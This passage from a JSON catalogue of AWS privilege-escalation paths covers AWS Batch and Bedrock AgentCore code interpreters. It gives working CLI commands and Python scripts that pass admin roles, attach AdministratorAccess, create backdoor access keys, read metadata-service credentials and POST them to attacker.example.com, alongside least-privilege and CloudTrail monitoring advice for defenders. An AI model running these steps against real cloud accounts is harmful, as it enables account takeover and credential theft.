          "command": "aws batch register-job-definition \\\n  --job-definition-name privesc-job-def \\\n  --type container \\\n  --platform-capabilities FARGATE \\\n  --container-properties '{\n    \"image\": \"amazon/aws-cli:latest\",\n    \"jobRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/AdminRole\",\n    \"executionRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/BatchExecutionRole\",\n    \"resourceRequirements\": [\n      {\"type\": \"VCPU\", \"value\": \"0.25\"},\n      {\"type\": \"MEMORY\", \"value\": \"512\"}\n    ],\n    \"networkConfiguration\": {\"assignPublicIp\": \"ENABLED\"},\n    \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n  }'\n",
          "description": "Register a new Batch job definition that passes the admin IAM role as jobRoleArn and the execution role as executionRoleArn, with a container command that attaches AdministratorAccess to the starting user."
        },
        {
          "step": 4,
          "command": "aws batch submit-job \\\n  --job-name privesc-job \\\n  --job-queue privesc-job-queue \\\n  --job-definition privesc-job-def\n",
          "description": "Submit the job to the attacker-created job queue. The Fargate container launches, assumes the admin jobRoleArn, and executes the IAM escalation command."
        },
        {
          "step": 5,
          "command": "aws batch describe-jobs \\\n  --jobs JOB_ID \\\n  --query 'jobs[0].status' \\\n  --output text\n",
          "description": "Poll job status until it reaches SUCCEEDED, indicating the privilege escalation command has executed."
        },
        {
          "step": 6,
          "command": "aws iam list-attached-user-policies \\\n  --user-name STARTING_USER\n",
          "description": "Verify that AdministratorAccess is now attached to the starting user."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` combined with the ability to build an entire Batch pipeline from scratch is what makes this privilege escalation path exploitable and especially dangerous, since no pre-existing Batch infrastructure is required.\n\n- **Avoid administrative service roles** - Very rarely does a Batch job role need administrative access. Use the principle of least privilege for any role that trusts `ecs-tasks.amazonaws.com`.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificBatchJobRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Restrict pipeline-building permissions** - Deny `batch:CreateComputeEnvironment` and `batch:CreateJobQueue` for non-automation principals via SCPs; these permissions let an attacker construct the entire attack pipeline without relying on pre-existing infrastructure.\n- Monitor CloudTrail for unusual Batch compute environment or job queue creation followed by immediate job definition registration and submission\n- Monitor CloudTrail for Batch resource creation by principals who do not usually create Batch infrastructure\n- Monitor CloudTrail for roles being passed to Batch that haven't been used before, especially via `batch:RegisterJobDefinition` requests where `containerProperties.jobRoleArn` references a privileged role\n- Monitor and alert on Batch job definition registration with privileged roles\n- Regularly audit Batch job definitions for excessive IAM permissions\n- Regularly audit all IAM roles that trust `ecs-tasks.amazonaws.com` and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      },
      "derivativeOf": {
        "pathId": "batch-001",
        "modification": "Adds `batch:CreateComputeEnvironment` and `batch:CreateJobQueue` to build the entire Batch pipeline from scratch, removing the prerequisite that an existing job queue and compute environment must already exist in the account."
      }
    },
    "references": [
      {
        "title": "Actions defined by AWS Batch - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsbatch.html"
      },
      {
        "title": "How AWS Batch works with IAM - AWS Batch",
        "url": "https://docs.aws.amazon.com/batch/latest/userguide/security_iam_service-with-iam.html"
      },
      {
        "title": "AWS Batch Compute Environments",
        "url": "https://docs.aws.amazon.com/batch/latest/userguide/compute_environments.html"
      }
    ],
    "relatedPaths": [
      "batch-001",
      "batch-002"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/batch-003-iam-passrole+batch-createcomputeenvironment+batch-createjobqueue+batch-registerjobdefinition+batch-submitjob",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole` and broad AWS Batch permissions (`batch:CreateComputeEnvironment`, `batch:CreateJobQueue`, `batch:RegisterJobDefinition`, `batch:SubmitJob`). Can be an IAM user or role. The attacker builds an entire Batch pipeline from scratch, so no pre-existing job queue or compute environment is required in the account."
        },
        {
          "id": "compute_env",
          "label": "New Fargate Compute Environment",
          "type": "resource",
          "description": "A new managed, Fargate-type compute environment created by the attacker. Creating this resource auto-provisions an underlying ECS cluster via the Batch service-linked role, and it becomes the execution backend for any job queue attached to it. No pre-existing Batch infrastructure is needed since this resource is built from scratch.\n\nCommand:\n```bash\naws batch create-compute-environment \\\n  --compute-environment-name privesc-compute-env \\\n  --type MANAGED \\\n  --state ENABLED \\\n  --compute-resources '{\n    \"type\": \"FARGATE\",\n    \"maxvCpus\": 2,\n    \"subnets\": [\"SUBNET_ID\"],\n    \"securityGroupIds\": [\"SECURITY_GROUP_ID\"]\n  }'\n```\n"
        },
        {
          "id": "job_queue",
          "label": "New Job Queue",
          "type": "resource",
          "description": "A new job queue created by the attacker and wired directly to the attacker-created compute environment. This queue accepts job submissions and dispatches them to the Fargate compute environment for execution.\n\nCommand:\n```bash\naws batch create-job-queue \\\n  --job-queue-name privesc-job-queue \\\n  --state ENABLED \\\n  --priority 1 \\\n  --compute-environment-order '[{\"order\":1,\"computeEnvironment\":\"privesc-compute-env\"}]'\n```\n"
        },
        {
          "id": "job_definition",
          "label": "New Batch Job Definition",
          "type": "resource",
          "description": "A new AWS Batch job definition registered by the attacker. The key element is the `jobRoleArn` field, which is set to the target admin IAM role. Any container launched from this definition automatically assumes that role. The attacker controls the container image and command, choosing a payload that matches the permissions available on the target role.\n\nCommand:\n```bash\naws batch register-job-definition \\\n  --job-definition-name privesc-job-def \\\n  --type container \\\n  --platform-capabilities FARGATE \\\n  --container-properties '{\n    \"image\": \"amazon/aws-cli:latest\",\n    \"jobRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/AdminRole\",\n    \"executionRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/BatchExecutionRole\",\n    \"resourceRequirements\": [\n      {\"type\": \"VCPU\", \"value\": \"0.25\"},\n      {\"type\": \"MEMORY\", \"value\": \"512\"}\n    ],\n    \"networkConfiguration\": {\"assignPublicIp\": \"ENABLED\"},\n    \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n  }'\n```\n"
        },
        {
          "id": "batch_container",
          "label": "Fargate Container",
          "type": "resource",
          "description": "The AWS Batch Fargate container launched when the job is submitted to the attacker-created job queue. The container runs using the `jobRoleArn` from the job definition, meaning its process environment has temporary credentials for the target IAM role. The container executes whatever command was baked into the job definition at registration time."
        },
        {
          "id": "admin_role",
          "label": "Admin Role",
          "type": "principal",
          "description": "The IAM role specified as the `jobRoleArn` in the job definition. This role must trust `ecs-tasks.amazonaws.com` so that Fargate containers can assume it. The role's temporary credentials are injected into the container environment automatically. The attacker chooses a payload approach based on the permissions this role has and what they want to accomplish."
        },
        {
          "id": "payload_attach_policy",
          "label": "Payload A: Attach Admin Policy",
          "type": "payload",
          "color": "#99ccff",
          "description": "Bake `aws iam attach-user-policy` into the job definition's container command at registration time (step 3). Uses the `amazon/aws-cli:latest` image (CONTAINER_RUNTIME=aws-cli). When the Batch job runs, the container executes the command with the target role's credentials, attaching AdministratorAccess directly to the starting user.\n\nContainer command baked into the job definition:\n```bash\n[\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n```\n\nRequires the `jobRoleArn` to have `iam:AttachUserPolicy`. On success, the starting user gains AdministratorAccess immediately upon job completion \u2014 no credential retrieval or second step required.\n"
        },
        {
          "id": "payload_create_access_key",
          "label": "Payload B: Create Backdoor Access Keys",
          "type": "payload",
          "color": "#99ccff",
          "description": "Bake `aws iam create-access-key` into the job definition's container command at registration time. Uses the `amazon/aws-cli:latest` image (CONTAINER_RUNTIME=aws-cli). When the Batch job runs, the container creates a new programmatic access key for the starting user and prints the AccessKeyId and SecretAccessKey to stdout, which AWS Batch captures in CloudWatch Logs.\n\nContainer command baked into the job definition:\n```bash\n[\"iam\", \"create-access-key\", \"--user-name\", \"STARTING_USER\"]\n```\n\nRetrieve the credentials from CloudWatch Logs after the job completes:\n```bash\naws logs get-log-events \\\n  --log-group-name /aws/batch/job \\\n  --log-stream-name JOB_LOG_STREAM\n```\n\nRequires the `jobRoleArn` to have `iam:CreateAccessKey`. Provides persistent programmatic credentials that survive the Batch job's lifecycle.\n"
        },
        {
          "id": "payload_exfil_https",
          "label": "Payload C: Exfiltrate Credentials via HTTPS",
          "type": "payload",
          "color": "#99ccff",
          "description": "Use a generic container image (CONTAINER_RUNTIME=generic) with `sh` and at least one of `curl`, `wget`, or `python3` \u2014 for example, `ubuntu:latest`. The job definition command is a shell script that retrieves the Fargate task's temporary credentials from the container credentials endpoint and POSTs AccessKeyId, SecretAccessKey, and SessionToken to an attacker-controlled HTTPS listener.\n\nExample shell script baked into the job definition:\n```bash\n#!/bin/sh\nCREDS=$(curl -s \"$AWS_CONTAINER_CREDENTIALS_FULL_URI\")\ncurl -s -X POST https://attacker.example.com/exfil \\\n  -H \"Content-Type: application/json\" \\\n  -d \"$CREDS\"\n```\n\nBecause the attacker registers the job definition themselves in batch-003, they can freely choose any compatible container image and set the command to this exfiltration script. The exfiltrated credentials can then be configured in the attacker's local AWS CLI (`aws configure`) to authenticate as the target role from outside AWS, with the role's full permissions available until the temporary credentials expire.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has AdministratorAccess or equivalent permissions. Using any of the three payload approaches, the attacker successfully leverages these permissions to gain full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Elevated Access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The role has some elevated permissions but not full admin access. The chosen payload can leverage those permissions for data exfiltration, accessing sensitive resources, or exploring additional privilege escalation paths, but cannot directly attach AdministratorAccess if `iam:AttachUserPolicy` is absent."
        },
        {
          "id": "no_perms",
          "label": "Minimal Access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The role only has minimal permissions (e.g., logging). Regardless of the payload chosen, the resulting access provides no meaningful privilege escalation beyond what the starting principal already had."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "compute_env",
          "label": "batch:CreateComputeEnvironment",
          "description": "Create a new Fargate-managed compute environment from scratch. This auto-creates an underlying ECS cluster via the Batch service-linked role, removing the need for any pre-existing Batch infrastructure.\n\nCommand:\n```bash\naws batch create-compute-environment \\\n  --compute-environment-name privesc-compute-env \\\n  --type MANAGED \\\n  --state ENABLED \\\n  --compute-resources '{\n    \"type\": \"FARGATE\",\n    \"maxvCpus\": 2,\n    \"subnets\": [\"SUBNET_ID\"],\n    \"securityGroupIds\": [\"SECURITY_GROUP_ID\"]\n  }'\n```\n"
        },
        {
          "from": "compute_env",
          "to": "job_queue",
          "label": "batch:CreateJobQueue",
          "description": "Create a new job queue wired to the attacker-created compute environment, completing the attacker-controlled pipeline needed to run a job.\n\nCommand:\n```bash\naws batch create-job-queue \\\n  --job-queue-name privesc-job-queue \\\n  --state ENABLED \\\n  --priority 1 \\\n  --compute-environment-order '[{\"order\":1,\"computeEnvironment\":\"privesc-compute-env\"}]'\n```\n"
        },
        {
          "from": "job_queue",
          "to": "job_definition",
          "label": "iam:PassRole + batch:RegisterJobDefinition",
          "description": "Register a new Batch job definition that passes the target admin role as the `jobRoleArn` and a Batch execution role as the `executionRoleArn`. The `iam:PassRole` permission is required to assign both roles to the job definition. The attacker controls the container image and command at this step, choosing the payload to embed before the job runs.\n\nCommand:\n```bash\naws batch register-job-definition \\\n  --job-definition-name privesc-job-def \\\n  --type container \\\n  --platform-capabilities FARGATE \\\n  --container-properties '{\n    \"image\": \"amazon/aws-cli:latest\",\n    \"jobRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/AdminRole\",\n    \"executionRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/BatchExecutionRole\",\n    \"resourceRequirements\": [\n      {\"type\": \"VCPU\", \"value\": \"0.25\"},\n      {\"type\": \"MEMORY\", \"value\": \"512\"}\n    ],\n    \"networkConfiguration\": {\"assignPublicIp\": \"ENABLED\"},\n    \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n  }'\n```\n"
        },
        {
          "from": "job_definition",
          "to": "batch_container",
          "label": "batch:SubmitJob",
          "description": "Submit the job to the attacker-created job queue. AWS Batch schedules the job and launches a Fargate container using the configuration from the job definition \u2014 including the `jobRoleArn`.\n\nCommand:\n```bash\naws batch submit-job \\\n  --job-name privesc-job \\\n  --job-queue privesc-job-queue \\\n  --job-definition privesc-job-def\n```\n"
        },
        {
          "from": "batch_container",
          "to": "admin_role",
          "label": "Container assumes jobRoleArn",
          "description": "The Fargate container automatically assumes the IAM role specified as the `jobRoleArn` in the job definition. Temporary credentials for the target role are injected into the container's environment via the ECS task credentials endpoint (`AWS_CONTAINER_CREDENTIALS_FULL_URI`). The container then executes whatever command was baked into the job definition using those credentials."
        },
        {
          "from": "admin_role",
          "to": "payload_attach_policy",
          "label": "Option A",
          "description": "Choose the attach-policy payload: bake `aws iam attach-user-policy` into the job definition command with `amazon/aws-cli:latest` as the container image. The container runs with the target role's credentials and directly attaches AdministratorAccess to the starting user. Most direct path to admin \u2014 no credential retrieval step needed.\n"
        },
        {
          "from": "admin_role",
          "to": "payload_create_access_key",
          "label": "Option B",
          "description": "Choose the create-access-key payload: bake `aws iam create-access-key` into the job definition command with `amazon/aws-cli:latest` as the container image. The container creates new programmatic credentials for the starting user and prints them to stdout, which Batch captures in CloudWatch Logs. Retrieve after job completion.\n"
        },
        {
          "from": "admin_role",
          "to": "payload_exfil_https",
          "label": "Option C",
          "description": "Choose the credential exfiltration payload: use a generic container image (e.g., `ubuntu:latest`) with a shell script that fetches the Fargate task's own temporary credentials from `AWS_CONTAINER_CREDENTIALS_FULL_URI` and POSTs them to an attacker-controlled HTTPS listener. The attacker then uses the exfiltrated credentials from their own environment.\n"
        },
        {
          "from": "payload_attach_policy",
          "to": "admin",
          "label": "If target role has admin or IAM write permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "The `jobRoleArn` includes `iam:AttachUserPolicy`. The container command successfully attaches AdministratorAccess to the starting user. The attacker now has full administrative access to the AWS account upon job completion.\n"
        },
        {
          "from": "payload_attach_policy",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "The `jobRoleArn` has elevated permissions but lacks `iam:AttachUserPolicy`, so the attach-policy command fails. However, the role's other permissions can be leveraged by registering a new job definition with a different command targeting the available permissions.\n"
        },
        {
          "from": "payload_attach_policy",
          "to": "no_perms",
          "label": "If target role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "The `jobRoleArn` has minimal permissions. The container command fails with an access denied error and no meaningful privilege escalation is achieved.\n"
        },
        {
          "from": "payload_create_access_key",
          "to": "admin",
          "label": "If target role has admin or IAM write permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "The `jobRoleArn` includes `iam:CreateAccessKey`. New programmatic credentials for the starting user appear in CloudWatch Logs. Configuring these credentials locally grants the starting user's full permissions, which include admin access.\n"
        },
        {
          "from": "payload_create_access_key",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "The `jobRoleArn` includes `iam:CreateAccessKey` but the starting user only has some elevated permissions. The new access key provides persistent programmatic access at the starting user's current permission level, which may enable further lateral movement.\n"
        },
        {
          "from": "payload_create_access_key",
          "to": "no_perms",
          "label": "If target role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "The `jobRoleArn` lacks `iam:CreateAccessKey`. The container command fails and no new credentials are created. No meaningful privilege escalation is achieved.\n"
        },
        {
          "from": "payload_exfil_https",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "The exfiltrated Fargate task credentials belong to a role with AdministratorAccess. Configuring these credentials in the attacker's local AWS CLI (`aws configure --profile exfiltrated`) grants full administrative access to the account until the temporary credentials expire (typically up to 12 hours).\n"
        },
        {
          "from": "payload_exfil_https",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "The exfiltrated credentials belong to a role with some elevated permissions. The attacker can use them for data access, reconnaissance, or further privilege escalation attempts from their own environment.\n"
        },
        {
          "from": "payload_exfil_https",
          "to": "no_perms",
          "label": "If target role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "The exfiltrated credentials belong to a role with only minimal permissions. Despite the successful exfiltration, the credentials provide no meaningful access beyond what the starting principal already had.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-08-03T23:23:23Z",
      "lastUpdated": "2026-08-03T23:23:23Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/batch/batch-003.yaml"
  },
  {
    "id": "bedrock-001",
    "name": "iam:PassRole + bedrock-agentcore:CreateCodeInterpreter + bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter",
    "category": "new-passrole",
    "services": [
      "iam",
      "bedrock-agentcore"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "bedrock-agentcore:CreateCodeInterpreter",
          "resourceConstraints": "Must have permission to create Bedrock AgentCore code interpreters"
        },
        {
          "permission": "bedrock-agentcore:StartCodeInterpreterSession",
          "resourceConstraints": "Must have permission to start sessions with code interpreters"
        },
        {
          "permission": "bedrock-agentcore:InvokeCodeInterpreter",
          "resourceConstraints": "Must have permission to invoke code interpreters"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "bedrock-agentcore:GetCodeInterpreter",
          "resourceConstraints": "Can be help"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `bedrock-agentcore:CreateCodeInterpreter`, `bedrock-agentcore:StartCodeInterpreterSession`, and `bedrock-agentcore:InvokeCodeInterpreter` can create and invoke an AWS Bedrock AgentCore code interpreter with a privileged IAM execution role. Code interpreters run on Firecracker MicroVMs and can access the MicroVM Metadata Service (MMDS) at 169.254.169.254, similar to EC2's IMDS. By creating a code interpreter with a privileged role and invoking arbitrary Python code within it, an attacker can retrieve temporary credentials from the metadata service and gain the full permissions of the execution role.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "export AWS_REGION=[your region]\nexport EXECUTION_ROLE=[arn with admin privs]\nexport AWS_ACCESS_KEY_ID = [access key]\nexport AWS_SECRET_ACCESS_KEY = [secret access key]\nexport AWS_SESSION_TOKEN = [session token if applicable]\nwhich jq\n",
          "description": "Set up current session variables and confirm jq is installed"
        },
        {
          "step": 2,
          "command": "INTERPRETER_ID=$(aws bedrock-agentcore-control create-code-interpreter \\\n  --name privesc \\\n  --network-configuration '{\"networkMode\":\"SANDBOX\"}' \\\n  --execution-role-arn $EXECUTION_ROLE | jq -r .codeInterpreterId)\n",
          "description": "Create a code interpreter with the privileged execution role"
        },
        {
          "step": 3,
          "command": "cat << 'EOF' > \"get_secrets_from_interpreter.py\"\nimport boto3\nimport sys\nbedrock_agentcore_client = boto3.client('bedrock-agentcore', region_name=sys.argv[2])\nCODE_INTERPRETER_ID = sys.argv[1]\n\nsession = bedrock_agentcore_client.start_code_interpreter_session(\n  codeInterpreterIdentifier=CODE_INTERPRETER_ID,\n)\nsession_id = session['sessionId']\n\ncode = 'IP=\"169.254.169.254\"; METADATA=\"meta-data\"; curl -s http://$IP/latest/$METADATA/iam/security-credentials/execution_role'\n\nresponse = bedrock_agentcore_client.invoke_code_interpreter(\n  codeInterpreterIdentifier=CODE_INTERPRETER_ID,\n  sessionId=session_id,\n  name='executeCommand',\n  arguments={'command': code}\n)\n\nfor event in response['stream']:\n  if event['result']['structuredContent']['stdout']:\n    print(event['result']['structuredContent']['stdout'])\nEOF\n",
          "description": "Create the python file that will invoke the interpreter"
        },
        {
          "step": 4,
          "command": "CREDS=$(python3 get_secrets_from_interpreter.py $INTERPRETER_ID $AWS_REGION)\necho export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r \".AccessKeyId\")\necho export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r \".SecretAccessKey\")\necho export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r \".Token\")\n",
          "description": "Run the python file using the $INTERPRETER_ID to extract credentials"
        },
        {
          "step": 5,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 5>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 5>\nexport AWS_SESSION_TOKEN=<Token from step 5>\naws sts get-caller-identity\n",
          "description": "Use the stolen credentials to assume the privileged role's permissions"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Bedrock code interpreter need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificBedrockRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"bedrock-agentcore.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Bedrock code interpreter creation followed by immediate invocation\n- Monitor CloudTrail for code interpreter creation by principals who do not usually create interpreters\n- Monitor CloudTrail for roles being passed to Bedrock that haven't been used before\n- Monitor and alert on Bedrock code interpreter creation with privileged roles\n- Regularly audit Bedrock code interpreters for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Bedrock service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Nigel Sood",
        "organization": "Sonrai Security",
        "date": 2025,
        "link": "https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/"
      }
    },
    "references": [
      {
        "title": "AWS AgentCore: The Overlooked Privilege Escalation Path in Bedrock AI Tooling",
        "url": "https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/"
      },
      {
        "title": "Sandboxed to Compromised: New Research Exposes Credential Exfiltration Paths in AWS Code Interpreters",
        "url": "https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/"
      },
      {
        "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
      }
    ],
    "relatedPaths": [
      "bedrock-002",
      "lambda-001",
      "ec2-001",
      "sagemaker-001"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L300",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L183"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+bedrockagentcore-codeinterpreter",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/hands-on-labs/lab/bedrock-agentcore-privilege-escalation-via-code-interpreters/",
        "scenarioPricingModel": "paid"
      }
    },
    "toolSupport": {
      "pmapper": false,
      "iamVulnerable": false
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and bedrock-agentcore permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "code_interpreter",
          "label": "New Bedrock Code Interpreter",
          "type": "resource",
          "description": "New Bedrock AgentCore code interpreter created with a privileged execution role. Code interpreters run on Firecracker MicroVMs and can access the MicroVM Metadata Service (MMDS) at 169.254.169.254, similar to EC2's IMDS.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the bedrock-agentcore Service",
          "type": "principal",
          "description": "IAM role passed to the code interpreter as the execution role. The role must trust bedrock-agentcore.amazonaws.com to assume it. Credentials are available via the MMDS at the execution_role endpoint.\n"
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Execute Attack via AWS SDK",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious code interpreter code uses the AWS SDK within the Python execution environment to directly perform privileged actions using the target role's credentials. Since the code interpreter automatically runs with the execution role's credentials available through the environment, no credential exfiltration is needed.\n\nExample Python code invoked in the interpreter:\n```python\nimport boto3\n\n# The interpreter automatically has access to the execution role's credentials\niam = boto3.client('iam')\n\n# Attach admin policy to starting user\niam.attach_user_policy(\n    UserName='attacker-user',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n```\n\nThis is the most direct approach - the code interpreter immediately modifies IAM or performs other privileged actions using the execution role's permissions.\n"
        },
        {
          "id": "method_cred_exfil",
          "label": "Method 2: Exfiltrate Credentials to Output",
          "type": "payload",
          "color": "#99ccff",
          "description": "Start a session with the code interpreter and invoke Python code to query the MicroVM Metadata Service (MMDS) and retrieve the target role's temporary credentials. The credentials are returned in the code interpreter's output and can be used from any location.\n\nExample Python script to exfiltrate credentials:\n```python\nimport boto3\nimport sys\n\nbedrock_agentcore_client = boto3.client('bedrock-agentcore', region_name=sys.argv[2])\nCODE_INTERPRETER_ID = sys.argv[1]\n\n# Start a code interpreter session\nsession = bedrock_agentcore_client.start_code_interpreter_session(\n    codeInterpreterIdentifier=CODE_INTERPRETER_ID,\n)\nsession_id = session['sessionId']\n\n# Command to query MMDS for credentials\ncode = 'IP=\"169.254.169.254\"; METADATA=\"meta-data\"; curl -s http://$IP/latest/$METADATA/iam/security-credentials/execution_role'\n\n# Invoke the code interpreter to execute the command\nresponse = bedrock_agentcore_client.invoke_code_interpreter(\n    codeInterpreterIdentifier=CODE_INTERPRETER_ID,\n    sessionId=session_id,\n    name='executeCommand',\n    arguments={'command': code}\n)\n\n# Extract and print credentials from the output\nfor event in response['stream']:\n    if event['result']['structuredContent']['stdout']:\n        print(event['result']['structuredContent']['stdout'])\n```\n\nThis script retrieves AccessKeyId, SecretAccessKey, and SessionToken from the MMDS and outputs them. The attacker can then export these credentials and use them from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The attacker successfully exfiltrated credentials from the code interpreter and the target role has AdministratorAccess or equivalent permissions. The attacker now has full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The attacker successfully exfiltrated credentials from the code interpreter and the target role has some elevated permissions (but not full admin). This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The attacker successfully exfiltrated credentials from the code interpreter, but the target role only has minimal permissions. Limited usefulness for privilege escalation.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "code_interpreter",
          "label": "iam:PassRole + bedrock-agentcore:CreateCodeInterpreter",
          "description": "Create a new Bedrock AgentCore code interpreter and pass the target role to it as the execution role. The code interpreter runs on a Firecracker MicroVM with network access to the MMDS.\n\nCommand:\n```bash\naws bedrock-agentcore-control create-code-interpreter \\\n  --name privesc \\\n  --network-configuration '{\"networkMode\":\"SANDBOX\"}' \\\n  --execution-role-arn $EXECUTION_ROLE\n```\n"
        },
        {
          "from": "code_interpreter",
          "to": "target_role",
          "label": "Interpreter assumes role",
          "description": "The code interpreter automatically assumes the passed execution role. Credentials become available via the MicroVM Metadata Service at http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role\n"
        },
        {
          "from": "target_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "branch": "A",
